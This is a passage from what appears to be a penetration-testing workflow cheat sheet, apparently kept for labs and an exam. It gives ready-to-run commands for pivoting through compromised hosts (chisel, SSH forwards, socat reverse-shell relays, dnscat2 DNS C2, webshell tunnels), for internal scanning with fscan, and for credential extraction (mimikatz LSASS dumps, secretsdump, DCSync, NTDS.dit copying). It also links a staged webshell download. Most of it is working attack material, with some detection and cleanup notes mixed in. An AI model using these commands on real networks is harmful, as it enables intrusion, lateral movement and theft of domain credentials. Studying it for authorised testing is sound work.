    403 # Pivot (dials out over what looks like HTTP):
    404 ./chisel client $LHOST:8080 R:1080:socks
    405 # Expose a single deep service instead of full SOCKS:
    406 ./chisel client $LHOST:8080 R:1433:172.16.5.10:1433   # then mssqlclient.py sa:pw@127.0.0.1:1433
    407 # Forward (non-reverse) when the pivot CAN reach me and I want pivot-side listen → my side:
    408 ./chisel server -p 8080
    409 ./chisel client $LHOST:8080 3000:10.20.30.5:3000      # my :3000 → deep host :3000 via pivot
    410 # Auth + fingerprint pinning for anything beyond a lab:
    411 ./chisel server -p 8080 --reverse --auth user:pass
    412 ./chisel client --fingerprint <base64> $LHOST:8080 R:1080:socks
    413 ```
    414 
    415 > [!warning] Watch out
    416 > Server needs `--reverse` for `R:` remotes or the SOCKS proxy silently won't work (the #1 chisel failure). Chisel is **SOCKS5 = TCP-only** — same `-sT -Pn` constraint as everything SOCKS. TLS mode (`chisel server --tls-key/--tls-cert`, client `https://`) makes it look like HTTPS; plaintext mode is trivially DPI-fingerprintable. Windows Defender has signatures for default chisel builds — expect to need a rename at minimum in monitored environments.
    417 
    418 #### proxychains + SOCKS — run any tool through the tunnel
    419 
    420 [proxychains-ng](https://github.com/rofl0r/proxychains-ng) LD_PRELOADs any Linux tool's connect() through my SOCKS proxy.
    421 
    422 ```bash
    423 # /etc/proxychains4.conf  →  [ProxyList]  socks5 127.0.0.1 1080   (proxy_dns, quiet_mode)
    424 proxychains4 nmap -sT -Pn -n -p 445,3389,5985 10.10.10.0/24
    425 proxychains4 wmiexec.py "$DOMAIN/$U:$P@10.10.10.100"
    426 proxychains4 evil-winrm -i 10.10.10.100 -u "$U" -p "$P"
    427 proxychains4 secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc-user krbtgt
    428 # Chain two SOCKS proxies (double pivot without ligolo):
    429 # [ProxyList]
    430 # socks5 127.0.0.1 1080
    431 # socks5 127.0.0.1 1081
    432 ```
    433 
    434 > [!warning] Watch out
    435 > SOCKS is **TCP only** — nmap must be `-sT -Pn` (no ICMP, no SYN). **UDP dies** through proxychains: that kills DNS unless `proxy_dns` is set (and even then it's slow), and it kills pure-UDP tools entirely. `nmap --dns-servers $DC` still won't fix UDP under SOCKS5 — prefer IP literals and `/etc/hosts` entries, or use Ligolo when name resolution matters. Static binaries only: proxychains hooks libc, so Go binaries and some .NET tools ignore it. Prefer **Ligolo** when I want raw L3 (full nmap, no proxychains). Full tables in Tunneling.
    436 
    437 <figure class="flow plate corners">
    438   <figcaption class="flow__cap"><span class="flow__kind">Ligolo double-pivot topology</span><span class="flow__dir">LR</span></figcaption>
    439   <div class="flow__body">
    440     <svg class="flow-svg" viewBox="0 0 975 340" role="img" aria-label="Attack host and two ligolo pivots reaching deep targets, with agent callbacks, a listener relay, tunnel interfaces and a reverse shell routing back to the attack host">
    441       <path class="fedge" d="M185,154 L283,154" marker-end="url(#flow-arrow)" />
    442       <path class="fedge" d="M685,154 L783,104" marker-end="url(#flow-arrow)" />
    443       <path class="fedge" d="M685,154 L783,224" marker-end="url(#flow-arrow)" />
    444       <path class="fedge is-back" d="M350,130 L350,95 L110,95 L110,128" marker-end="url(#flow-arrow)" />
    445       <path class="fedge is-back" d="M610,130 L610,60 L370,60 L370,128" marker-end="url(#flow-arrow)" />
    446       <path class="fedge is-dotted" d="M95,178 L95,205 L360,205 L360,180" marker-end="url(#flow-arrow)" />
    447       <path class="fedge is-dotted" d="M110,178 L110,240 L610,240 L610,180" marker-end="url(#flow-arrow)" />
    448       <path class="fedge is-back is-dotted" d="M860,248 L860,290 L125,290 L125,180" marker-end="url(#flow-arrow)" />
    449       <g class="fnode is-entry"><rect class="fnode__box" x="35" y="130" width="150" height="48" /><text class="fnode__label" x="110" y="151" text-anchor="middle">Attack host<tspan class="sub" x="110" dy="15">ligolo-proxy :11601</tspan></text></g>
    450       <g class="fnode"><rect class="fnode__box" x="285" y="130" width="150" height="48" /><text class="fnode__label" x="360" y="151" text-anchor="middle">Pivot 1 — DMZ web<tspan class="sub" x="360" dy="15">172.16.10.10</tspan></text></g>
    451       <g class="fnode"><rect class="fnode__box" x="535" y="130" width="150" height="48" /><text class="fnode__label" x="610" y="151" text-anchor="middle">Pivot 2 — app tier<tspan class="sub" x="610" dy="15">10.20.30.5</tspan></text></g>
    452       <g class="fnode"><rect class="fnode__box" x="785" y="80" width="150" height="48" /><text class="fnode__label" x="860" y="101" text-anchor="middle">Deep target<tspan class="sub" x="860" dy="15">10.20.30.20</tspan></text></g>
    453       <g class="fnode"><rect class="fnode__box" x="785" y="200" width="150" height="48" /><text class="fnode__label" x="860" y="221" text-anchor="middle">Deep DC<tspan class="sub" x="860" dy="15">10.20.30.10</tspan></text></g>
    454       <g class="felabel"><rect class="felabel__box" x="181" y="146" width="106" height="16" /><text class="felabel__text" x="234" y="157" text-anchor="middle">agent dials back</text></g>
    455       <g class="felabel"><rect class="felabel__box" x="156" y="87" width="148" height="16" /><text class="felabel__text" x="230" y="98" text-anchor="middle">listener :4444 relay</text></g>
    456       <g class="felabel"><rect class="felabel__box" x="383" y="52" width="214" height="16" /><text class="felabel__text" x="490" y="63" text-anchor="middle">agent 2 dials 172.16.10.10:4444</text></g>
    457       <g class="felabel"><rect class="felabel__box" x="128" y="197" width="200" height="16" /><text class="felabel__text" x="228" y="208" text-anchor="middle">iface ligolo: 172.16.10.0/24</text></g>
    458       <g class="felabel"><rect class="felabel__box" x="257" y="232" width="206" height="16" /><text class="felabel__text" x="360" y="243" text-anchor="middle">iface ligolo2: 10.20.30.0/24</text></g>
    459       <g class="felabel"><rect class="felabel__box" x="395" y="275" width="196" height="30" /><text class="felabel__text" x="493" y="286" text-anchor="middle">reverse shell → pivot2:5555<tspan x="493" dy="15">→ listener → my nc :4444</tspan></text></g>
    460     </svg>
    461   </div>
    462 </figure>
    463 
    464 ---
    465 
    466 ### 🌉 More Tunnels — SSH fwds · sshuttle · socat · plink · meterpreter · netsh · dnscat2 · webshell tunnels
    467 
    468 Ligolo/chisel (above) are my 90% case. These are the ones the exam actually tests and the ones I fall back to when there's no ligolo binary on the box, no SSH creds, or egress is choked. Throughout, `$LHOST` = my attack host, `$IP` = the **pivot's** lab-facing IP, and `172.16.5.x` = an internal host only the pivot routes to.
    469 
    470 #### SSH port forwarding — `-L` / `-D` / `-R` (the exam classic)
    471 
    472 **What to look for** → I've got SSH creds on a **dual-homed** pivot: a service bound to *its* localhost (MySQL 3306, an admin panel), or a whole internal subnet only the pivot can reach. `ip a` on the pivot shows a second NIC (e.g. `ens224 → 172.16.5.0/23`).
    473 
    474 **Enumerate**
    475 ```bash
    476 nmap -sT -p22,3306 $IP              # 22 open, 3306 "closed" == MySQL bound to the pivot's own loopback
    477 ssh ubuntu@$IP 'ip -br a'           # confirm the second NIC + internal subnet
    478 ```
    479 
    480 **Exploit / Attack**
    481 ```bash
    482 # -L LOCAL  → reach ONE remote-side service via a local port ("localhost" = the PIVOT's loopback)
    483 ssh -L 1234:localhost:3306 ubuntu@$IP
    484 ssh -L 1234:localhost:3306 -L 8080:localhost:80 ubuntu@$IP   # stack -L for several
    485 netstat -antp | grep 1234 && nmap -sV -p1234 localhost       # verify the forward is live
    486 
    487 # -D DYNAMIC → full SOCKS into everything the pivot can route to
    488 ssh -D 9050 ubuntu@$IP                     # then: socks4 127.0.0.1 9050  in /etc/proxychains.conf
    489 proxychains nmap -sT -Pn 172.16.5.19
    490 proxychains xfreerdp /v:172.16.5.19 /u:victor /p:'pass@123'
    491 
    492 # -R REVERSE → pivot listens & forwards a callback home (target can't reach me directly)
    493 # bring the forward UP on the pivot BEFORE firing the payload:
    494 ssh -R 172.16.5.129:8080:0.0.0.0:8000 ubuntu@$IP -vN
    495 #   msfvenom payload LHOST=<pivot-internal-ip> LPORT=8080  →  handler on my :8000
    496 
    497 # -J JUMP → multi-hop in one command (ProxyJump)
    498 ssh -J ubuntu@$IP admin@172.16.5.10
    499 scp -J ubuntu@$IP ./loot.zip admin@172.16.5.10:/tmp/
    500 # persistent config form (~/.ssh/config):
    501 #   Host deepbox
    502 #     HostName 172.16.5.10
    503 #     User admin
    504 #     ProxyJump ubuntu@<pivot-ip>
    505 #     DynamicForward 9050
    506 ```
    507 
    508 > [!warning] Watch out
    509 > `localhost` inside `-L` means the **pivot's** loopback, not mine — the single most-misread SSH-forward detail. Proxychains is **TCP-connect only**: `-sT -Pn` always, never SYN, and unauth ICMP sweeps die silently against Windows (Defender drops ping). `-R` must be up **before** the payload runs; the resulting Meterpreter session shows the client as `127.0.0.1` because it arrives over the local SSH socket. Tunnels die with the `ssh` process — wrap in `autossh -M 0 -N -D 9050 ...` for a long engagement. `-R` binding to a non-loopback address on the pivot needs `GatewayPorts yes` in its sshd_config — otherwise the reverse forward only listens on the pivot's localhost. Walkthrough: 2 - SSH Port Forwarding & Dynamic SOCKS Proxying.
    510 
    511 #### sshuttle — SSH pivot with **zero proxychains prefix**
    512 
    513 [sshuttle](https://github.com/sshuttle/sshuttle) builds a poor-man's VPN over a plain SSH session.
    514 
    515 **What to look for** → plain SSH creds on the pivot and I want every tool (real SYN nmap, `-A`, whatever) to "just work" against the internal subnet without a `proxychains` wrapper. I have root on my own box.
    516 
    517 **Exploit / Attack**
    518 ```bash
    519 sudo sshuttle -r ubuntu@$IP 172.16.5.0/23 -v   # installs iptables NAT on MY host, redirects the subnet
    520 nmap -sV -p3389 172.16.5.19 -Pn                # no proxychains — real scans work directly
    521 sudo sshuttle -r ubuntu@$IP 0.0.0.0/0          # tunnel *everything* (careful — routes all my traffic)
    522 sudo sshuttle -r ubuntu@$IP 172.16.5.0/23 --dns   # also capture DNS (queries resolve via pivot)
    523 ```
    524 
    525 > [!warning] Watch out
    526 > Needs **root on the attack host** (it writes iptables NAT) and **python on the pivot**. Only does **plain SSH** — no TOR / HTTP-proxy chaining like proxychains. Perfect for a single SSH pivot; reach back to `-D` + proxychains when the pivot *chain* itself needs flexibility. Deck: 5 - SSH for Windows, Sshuttle & Rpivot.
    527 
    528 #### socat — bidirectional relay (no SSH, no creds)
    529 
    530 [socat](http://www.dest-unreach.org/socat/) just glues two sockets together and relays.
    531 
    532 **What to look for** → foothold is a webshell / limited RCE — **no SSH creds**, but I can drop and run a binary.
    533 
    534 **Exploit / Attack**
    535 ```bash
    536 # Redirect an inbound REVERSE shell on to my listener — run ON THE PIVOT:
    537 socat TCP4-LISTEN:8080,fork TCP4:$LHOST:80
    538 #   payload LHOST=<pivot-ip> LPORT=8080   →   my handler on :80
    539 
    540 # Redirect out to a BIND shell sitting on an internal target — run ON THE PIVOT:
    541 socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443
    542 #   msf bind handler: set RHOST <pivot-ip> ; set LPORT 8080   (socat completes the hop)
    543 ```
    544 
    545 > [!warning] Watch out
    546 > `fork` is **mandatory** for more than one connection — omit it and the relay dies after the first. Direction flips with shell type: reverse-shell relay sits between target→my-listener; bind-shell relay sits between my-handler→target. No SSH/creds needed, only the ability to execute the binary — ideal off a webshell. `ncat --sh-exec` covers simpler cases if socat's missing. Deck: 4 - Socat Redirection.
    547 
    548 #### plink.exe — `ssh -D` from a **Windows** foothold
    549 
    550 **What to look for** → I'm operating from a Windows box (my engagement host, or a compromised Windows I'm living-off-the-land on) and PuTTY/plink is present or dropable. Same intent as `ssh -D`, but from CMD.
    551 
    552 **Exploit / Attack**
    553 ```batch
    554 plink -ssh -D 9050 ubuntu@<pivot-ip>
    555 :: point Proxifier at SOCKS4 127.0.0.1:9050 → tunnels mstsc.exe / any GUI app through the SOCKS listener
    556 ```
    557 
    558 > [!warning] Watch out
    559 > GUI apps (`mstsc.exe`) can't read proxychains — that's why **Proxifier** exists: configure a SOCKS4 profile for `127.0.0.1:9050` and it transparently proxies the app. Modern Windows ships native OpenSSH (`ssh -D` works too) — plink only wins when the SSH client is absent but PuTTY's already installed. Deck: 5 - SSH for Windows, Sshuttle & Rpivot.
    560 
    561 #### Meterpreter — `autoroute` + `socks_proxy` + `portfwd`
    562 
    563 From [Metasploit](https://github.com/rapid7/metasploit-framework). **What to look for** → I already have a **Meterpreter session** on the pivot. No SSH creds needed at all — MSF pivots through the session itself.
    564 
    565 **Enumerate** (sweep behind it)
    566 ```bash
    567 meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
    568 # ICMP filtered? loop on the pivot instead:
    569 for i in $(seq 1 254); do (ping -c1 172.16.5.$i | grep "bytes from" &); done
    570 ```
    571 
    572 **Exploit / Attack**
    573 ```bash
    574 # autoroute — add the subnet to MSF's routing table (through session 1)
    575 meterpreter > run autoroute -s 172.16.5.0/23
    576 meterpreter > run autoroute -p                         # print active routes
    577 # non-deprecated post-module form:
    578 msf6 > use post/multi/manage/autoroute
    579 msf6 post(multi/manage/autoroute) > set SESSION 1; set SUBNET 172.16.5.0; run
    580 
    581 # socks_proxy — expose a SOCKS listener backed by those routes → proxychains
    582 msf6 > use auxiliary/server/socks_proxy
    583 msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050; set SRVHOST 0.0.0.0; set version 4a; run
    584 #   /etc/proxychains.conf: socks4 127.0.0.1 9050
    585 proxychains nmap -sT -Pn -p3389 172.16.5.19
    586 
    587 # portfwd — direct relay for a single service (no proxychains needed)
    588 meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19   # local :3300 → target:3389
    589 xfreerdp /v:localhost:3300 /u:victor /p:'pass@123'
    590 meterpreter > portfwd add -R -l 8081 -p 1234 -L $LHOST      # reverse: pivot listens :1234 → me:8081
    591 ```
    592 
    593 > [!warning] Watch out
    594 > `portfwd` `-l`/`-L` **swap meaning** when `-R` is set — forward: my host listens on `-l`, relays to `-r:-p`; reverse: the pivot listens on `-p`, delivers to `-L:-l`. Easiest `portfwd` detail to get backwards. Bare `run autoroute` is deprecated — MSF's own output points you at `post/multi/manage/autoroute`. First ping sweep **under-reports** while ARP caches build — run it twice before trusting "host down". MSF's routing table only serves MSF modules and the socks_proxy auxiliary — it does **not** route my OS traffic; that's what the SOCKS listener is for. Deck: 3 - Meterpreter Tunneling & Port Forwarding.
    595 
    596 #### netsh portproxy — Windows-native, drops no binary
    597 
    598 **What to look for** → compromised Windows **workstation** (phish/social-eng foothold), locked down enough that I'd rather not drop a tunnelling binary. `netsh interface portproxy` is built in.
    599 
    600 **Exploit / Attack**
    601 ```batch
    602 :: workstation listens on :8080 and forwards to internal RDP (needs admin + IP Helper svc)
    603 netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.15.150 connectport=3389 connectaddress=172.16.5.25
    604 netsh.exe interface portproxy show v4tov4          :: verify the rule took
    605 netsh.exe interface portproxy delete v4tov4 listenport=8080 listenaddress=10.129.15.150   :: CLEANUP after
    606 ```
    607 ```bash
    608 xfreerdp /v:10.129.15.150:8080 /u:victor /p:'pass@123'   # from my box → the workstation's listen port
    609 ```
    610 
    611 > [!warning] Watch out
    612 > The rule is **persistent across reboots** — it survives until you `delete` it, and `show v4tov4` is exactly how a defender/auditor finds your forward, so clean up. Needs **admin** and the **IP Helper (`iphlpsvc`)** service running. It's a single static forward, **not** a SOCKS proxy — one rule per internal service. Deck: 6 - Windows Netsh Port Forwarding & DNS Tunneling with Dnscat2.
    613 
    614 #### dnscat2 — encrypted C2 over DNS (last-resort egress)
    615 
    616 [dnscat2](https://github.com/iagox86/dnscat2) tunnels an encrypted session inside DNS queries. **What to look for** → egress is choked: HTTP/HTTPS filtered or DPI-inspected, but **DNS resolves outbound** (it almost always does). Firewalls that strip HTTPS rarely scrutinise DNS. ([T1071.004](https://attack.mitre.org/techniques/T1071/004/))
    617 
    618 **Exploit / Attack**
    619 ```bash
    620 # Attacker — DNS C2 server (needs UDP/53 free; run as root). Prints a per-session PSK to reuse:
    621 sudo ruby dnscat2.rb --dns host=$LHOST,port=53,domain=inlanefreight.local --no-cache
    622 ```
    623 ```powershell
    624 # Windows target — dnscat2-powershell client (transfer dnscat2.ps1 first):
    625 Import-Module .\dnscat2.ps1
    626 Start-Dnscat2 -DNSserver $LHOST -Domain inlanefreight.local -PreSharedSecret <secret> -Exec cmd
    627 ```
    628 ```text
    629 dnscat2> window -i 1        # drop into the interactive shell session on the server side
    630 ```
    631 
    632 > [!warning] Watch out
    633 > Needs **UDP/53 reachable to my server**, and the **PSK must match both ends** — it's what keeps the tunnel encrypted+authenticated; without it anyone watching the DNS traffic can hijack the session. It's **slow, low-bandwidth** — a shell, not a file pipe — and loud in DNS logs (long TXT queries hammering one domain). Want full IP-over-DNS instead of a shell? [iodine](https://github.com/yarrick/iodine). Deck: 6 - Windows Netsh Port Forwarding & DNS Tunneling with Dnscat2.
    634 
    635 #### reGeorg / Neo-reGeorg — tunnelling *through the webshell itself*
    636 
    637 When the only thing I have is a webshell on a DMZ web server (no SSH, no binary execution, strict egress), the tunnel rides **inside HTTP requests to the webshell**. Upload the tunnel webshell (matching the server's language), run the client on my box, get SOCKS through HTTP.
    638 
    639 - [reGeorg](https://github.com/sensepost/reGeorg) — the classic (Python 2, aspx/ashx/jsp/php shells).
    640 - [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) — the maintained fork: Python 3 client, more server languages, encrypted traffic, better performance. Use this one.
    641 
    642 ```bash
    643 # 1. Upload tunnel.<aspx|jsp|php> via my existing webshell/file-upload primitive
    644 # 2. Client on my box:
    645 python3 neoreg.py generate -k <password>                 # builds the webshell files with my key
    646 python3 neoreg.py -k <password> -u http://$IP/uploads/tunnel.aspx -p 1080
    647 # 3. SOCKS5 on 127.0.0.1:1080 → proxychains as usual
    648 proxychains4 curl http://172.16.5.10/
    649 ```
    650 
    651 > [!warning] Watch out
    652 > Every request is an HTTP POST to the webshell URL — visible and repetitive in the web server logs (IIS `C:\inetpub\logs\LogFiles\W3SVC*\`), and throughput is modest. Match the webshell extension to the server tech (`aspx` on IIS, `jsp` on Tomcat) or it 404s/500s instantly. The webshell file itself is dropped evidence — remove it at cleanup. Pairs naturally with the vault's staged webshells ([nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc))) when I need the initial execution primitive.
    653 
    654 > [!note] Which tunnel when — the decision I make at the pivot
    655 > - **SSH creds + dual-homed Linux pivot** → `ssh -D` + proxychains (one service → `-L`; callback home → `-R`); or **sshuttle** for zero-prefix tooling if I have root locally.
    656 > - **No SSH, but I can run a binary** (webshell/RCE) → **socat** relay; or **chisel**/**ligolo** for full SOCKS/L3 (already covered above).
    657 > - **Only HTTP to a webshell, no exec** → **Neo-reGeorg** (SOCKS through the shell itself).
    658 > - **Already have a Meterpreter session** → its built-in `autoroute` + `socks_proxy` + `portfwd` — no SSH creds required.
    659 > - **Operating from Windows / LOLbin-only** → **plink -D** (+ Proxifier) or **netsh portproxy** (native, drops nothing).
    660 > - **Pivot can't accept inbound but can dial out** → reverse SOCKS: **chisel** `R:socks` (above) or rpivot (Py2, legacy).
    661 > - **Everything blocked except DNS** → **dnscat2** — last resort, low-bandwidth C2.
    662 > - **Want raw L3 + full SYN nmap, no proxychains** → **ligolo-ng** (above). Full comparison tables in Tunneling · Pivoting and Tunnelling.
    663 
    664 ---
    665 
    666 ### 🔎 Recon behind the pivot — fscan
    667 
    668 **What to look for** → once you have a Ligolo/chisel route into an internal subnet, proxychains-nmap is painfully slow. Drop a single static binary on the pivot and let it sweep host discovery + ports + quick-wins (MS17-010, Redis, open shares) in one shot.
    669 
    670 > [!tools] Stage this
    671 > [fscan](https://github.com/shadow1ng/fscan) — internal all-in-one scanner (host discovery, ports, service probes, weak-password checks, MS17-010).
    672 >
    673 > [fscan_windows_x64.exe](/downloads/pentest-workflow/fscan_windows_x64.exe) ([SHA-256](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256.asc))
    674 
    675 ```bash
    676 ./fscan -h 172.16.10.0/24                 # full sweep of the internal /24
    677 ./fscan -h 172.16.10.5 -p 1-65535         # single host, all ports
    678 ./fscan -h 172.16.10.0/24 -np -no -nopoc  # skip ping, save nothing, no POC checks (quieter)
    679 ./fscan -h 172.16.10.0/24 -o fscan_out.txt  # results to file → exfil via the same tunnel
    680 ```
    681 > [!warning] Watch out
    682 > fscan's MS17-010 check can **BSOD** the target and is flagged by every modern EDR — on a lab it's fine, but know it's loud. `-nopoc` disables the exploit checks and leaves pure scanning. Prefer it for discovery, then hand the interesting hosts back to targeted tools. Deep dive: fscan.
    683 
    684 ---
    685 
    686 ---
    687 
    688 ### 🔬 NSE Service Triage Through a SOCKS Pivot
    689 
    690 **What to look for** → after `fscan` gives you the live internal hosts, run targeted NSE scripts through the proxy for the detail. **The SOCKS constraint matters:** raw SYN (`-sS`), ICMP host-discovery, and most UDP do **not** traverse a SOCKS proxy — proxychains-nmap must be TCP-connect + no-ping.
    691 
    692 ```bash
    693 # always: -sT (connect) -Pn (no ping) through proxychains
    694 proxychains nmap -sT -Pn -p445  --script smb2-security-mode,smb2-capabilities,smb-os-discovery $IP   # 445: also flags signing=off relay targets
    695 proxychains nmap -sT -Pn -p3389 --script rdp-ntlm-info,rdp-enum-encryption $IP                        # 3389
    696 proxychains nmap -sT -Pn -p111,2049 --script nfs-showmount,nfs-ls,nfs-statfs $IP                       # NFS
    697 proxychains nmap -sT -Pn -p993,995 --script ssl-cert,ssl-enum-ciphers $IP                              # implicit TLS
    698 proxychains nmap -sT -Pn -p80,8080 --script http-title,http-headers,http-methods,http-enum $IP        # web
    699 ```
    700 > [!tip] `fscan` is the fast sweep; this is the documented NSE follow-up an assessor expects. Deep dive: Internal Network Nmap Triage - 2026-08-26.
    701 
    702 ### 🧵 SSH & socat Forwarding — the reference matrix
    703 
    704 When ligolo/chisel aren't an option (no upload, or you only have SSH creds), native SSH does most pivoting. The mental model: **-L brings a remote port to me, -R pushes my port to them, -D is a dynamic SOCKS.** Deep dives: Tunneling · Socat-Cheatsheet.
    705 
    706 | Goal | Command | Then use |
    707 | :-- | :-- | :-- |
    708 | Reach an internal service through the pivot | `ssh -N -L 8080:172.16.5.10:80 user@$IP` | `curl 127.0.0.1:8080` |
    709 | Pivot can't reach me → push a port to it | `ssh -N -R 445:127.0.0.1:445 user@$IP` | target hits `pivot:445` |
    710 | SOCKS through the pivot (scan whole subnet) | `ssh -N -D 1080 user@$IP` | `proxychains nmap -sT -Pn …` |
    711 | Multi-hop in one line (jump host) | `ssh -J user@$IP user2@172.16.5.10` | lands on the deep host |
    712 | Background + keepalive | `ssh -fN -o ServerAliveInterval=30 -D 9050 user@$IP` | tunnel survives idle |
    713 | Add `-f` background, `-g` share the local bind on the LAN | | |
    714 
    715 ```bash
    716 # socat relay — expose an internal host's port on the pivot (when you can't SSH)
    717 socat TCP-LISTEN:8080,fork,reuseaddr TCP:172.16.5.10:80        # on the pivot → hit pivot:8080
    718 # socat reverse relay — bounce a callback through the pivot back to me
    719 socat TCP-LISTEN:4444,fork TCP:$LHOST:4444                     # target → pivot:4444 → my :4444
    720 # TLS-wrapped relay (evades plaintext inspection on the hop)
    721 socat OPENSSL-LISTEN:443,cert=s.pem,verify=0,fork TCP:127.0.0.1:4444
    722 ```
    723 > [!tip] Chain hops: `ssh -D 1080` to hop 1, then from hop 1 `ssh -D 1081` to hop 2, and stack SOCKS in `proxychains.conf` (top = first hop). Through **any** SOCKS: nmap must be `-sT -Pn` — raw SYN/ICMP/UDP don't traverse it. `~C` inside a live SSH session opens a console to add `-L`/`-R` forwards without reconnecting.
    724 
    725 ---
    726 
    727 ### 🩸 Step 4 — Loot (credential extraction)
    728 
    729 Loot doctrine: **every box I touch is a credential source, and every credential re-enters the funnel** — Stage 08 ([11 - Stage 08 - Password Attacks and Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting)) for cracking, Stage 06 ([09 - Stage 06 - ACL and Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse)) for the rights those new accounts hold. Loot, re-spray, re-enumerate.
    730 
    731 #### Mimikatz — LSASS, PtH, tickets, DCSync (on-host)
    732 
    733 ```text
    734 privilege::debug
    735 sekurlsa::logonpasswords          # MSV/WDigest/Kerberos material from logon sessions
    736 sekurlsa::ekeys                   # AES keys (for overpass-the-hash / -k)
    737 sekurlsa::tickets /export         # .kirbi for Rubeus ptt / kerberos::ptt
    738 sekurlsa::pth /user:Administrator /domain:$DOMAIN /ntlm:<NThash> /run:cmd.exe
    739 lsadump::sam                      # local SAM
    740 lsadump::dcsync /domain:$DOMAIN /user:krbtgt        # DCSync from a DA session
    741 ```
    742 
    743 > [!warning] Watch out
    744 > `privilege::debug` must return **OK** first (needs high-integrity + `SeDebugPrivilege`). Credential Guard / no-WDigest = empty cleartext; grab NT hashes or tickets instead. x64 mimikatz on x64 Windows. If EDR eats the binary, fall back to `nxc --sam/--lsa` or secretsdump — or [nanodump](https://github.com/fortra/nanodump)/[pypykatz](https://github.com/skelsec/pypykatz)/[lsassy](https://github.com/login-securite/lsassy) for a lower-signature LSASS read. Deck: Mimikatz-Cheatsheet.
    745 
    746 #### Impacket secretsdump — remote SAM/LSA, DCSync, offline
    747 
    748 ```bash
    749 # Remote SAM + LSA + cached creds (local admin on the box)
    750 secretsdump.py "$DOMAIN/Administrator:$P@$IP"
    751 secretsdump.py "$DOMAIN/Administrator@$IP" -hashes ":$H"         # PtH
    752 
    753 # DCSync (replication rights) — single user is the stealthy default
    754 secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc-user krbtgt
    755 secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc-user Administrator
    756 secretsdump.py "$DOMAIN/Administrator@$DC" -hashes ":$H" -just-dc-ntlm -outputfile domain_hashes
    757 export KRB5CCNAME=./administrator.ccache
    758 secretsdump.py -k -no-pass "$DOMAIN/Administrator@$DC" -just-dc          # NT + Kerberos + cleartext
    759 
    760 # Offline from copied hives
    761 secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
    762 ```
    763 ```bash
    764 # nxc equivalents
    765 nxc smb $DC -u Administrator -p "$P" --ntds drsuapi       # DCSync
    766 nxc smb $IP -u Administrator -p "$P" --sam --lsa
    767 ```
    768 
    769 > [!warning] Watch out
    770 > `-just-dc-ntlm` gives NT only — use **`-just-dc`** (no `-ntlm`) for NT **+ AES keys + cleartext**. `-just-dc` needs **both** replication ACEs (Get-Changes **and** Get-Changes-All) — DA, EA, DCs, and anyone granted the rights via [Stage 06 ACL abuse](/sheets/pentest-workflow/acl-and-object-abuse) qualify. `0 hashes` back = wrong domain FQDN (`$DOMAIN`, not the NetBIOS name) or user typo. DCSync fires Event **4662** on the DC from a non-DC account. Full playbook: 🔵 Attack.
    771 
    772 #### Domain-wide harvest — DCSync as the endgame
    773 
    774 Once I have replication rights, DCSync ([T1003.006](https://attack.mitre.org/techniques/T1003/006/)) is the crown-jewel move: it asks a DC to "replicate" password data to me. No code runs on the DC, no files touch it — just DRSUAPI RPC, which is what real DCs do all day.
    775 
    776 ```bash
    777 # impacket (remote, my box):
    778 secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc-ntlm -outputfile dcsync_ntlm
    779 secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc-user "$DOMAIN\krbtgt"
    780 # nxc:
    781 nxc smb $DC -u Administrator -p "$P" --ntds drsuapi
    782 nxc smb $DC -u Administrator -p "$P" --ntds --user krbtgt    # single user
    783 # mimikatz (from a DA session on any domain box):
    784 #   lsadump::dcsync /domain:$DOMAIN /all /csv
    785 #   lsadump::dcsync /domain:$DOMAIN /user:krbtgt
    786 ```
    787 
    788 > [!warning] Watch out
    789 > Rights needed: **Replicating Directory Changes** + **Replicating Directory Changes All** on the domain object (DA/EA hold both). Detection: **4662** (operation: Replication Get Changes All, from a non-DC account) — the classic Sigma/DCSync detection — plus network IDS watching DRSUAPI from non-DC IPs. Prefer `-just-dc-user` targeting (krbtgt, then DA accounts) over a full dump in monitored environments.
    790 
    791 #### NTDS.dit — when DCSync is blocked
    792 
    793 **On the DC** (local admin/SYSTEM) — copy the locked DB via shadow copy, grab SYSTEM hive:
    794 ```powershell
    795 vssadmin create shadow /for=C:
    796 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
    797 reg save HKLM\SYSTEM C:\Temp\SYSTEM
    798 vssadmin delete shadows /shadow={shadow-id} /quiet
    799 ```
    800 **Remote / offline**
    801 ```bash
    802 secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc -outputfile domain_dump   # remote via DRSUAPI
    803 nxc smb $DC -u Administrator -p "$P" --ntds vss                                  # remote via VSS
    804 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile parsed_hashes     # parse exfil'd files
    805 # ntdsutil IFM alternative on the DC (creates a clean install media set):
    806 #   ntdsutil "ac i ntds" "ifm" "create full C:\Temp\ifm" q q
    807 ```
    808 
    809 > [!warning] Watch out
    810 > Can't `copy` the live `ntds.dit` — it's locked (`ERROR_SHARING_VIOLATION`); must use **VSS / ntdsutil IFM / esentutl /y /vss**. Offline parse: the `SYSTEM` hive **must be from the same DC** as the .dit (different Boot Keys) or you get garbage. `vssadmin` fires Event 8222 + 4688 — `diskshadow` is quieter. Prefer DCSync; only touch the file when RPC replication is blocked. Detail: 🔵 Attack.
    811 
    812 #### DPAPI — masterkeys, saved creds, browser secrets
    813 
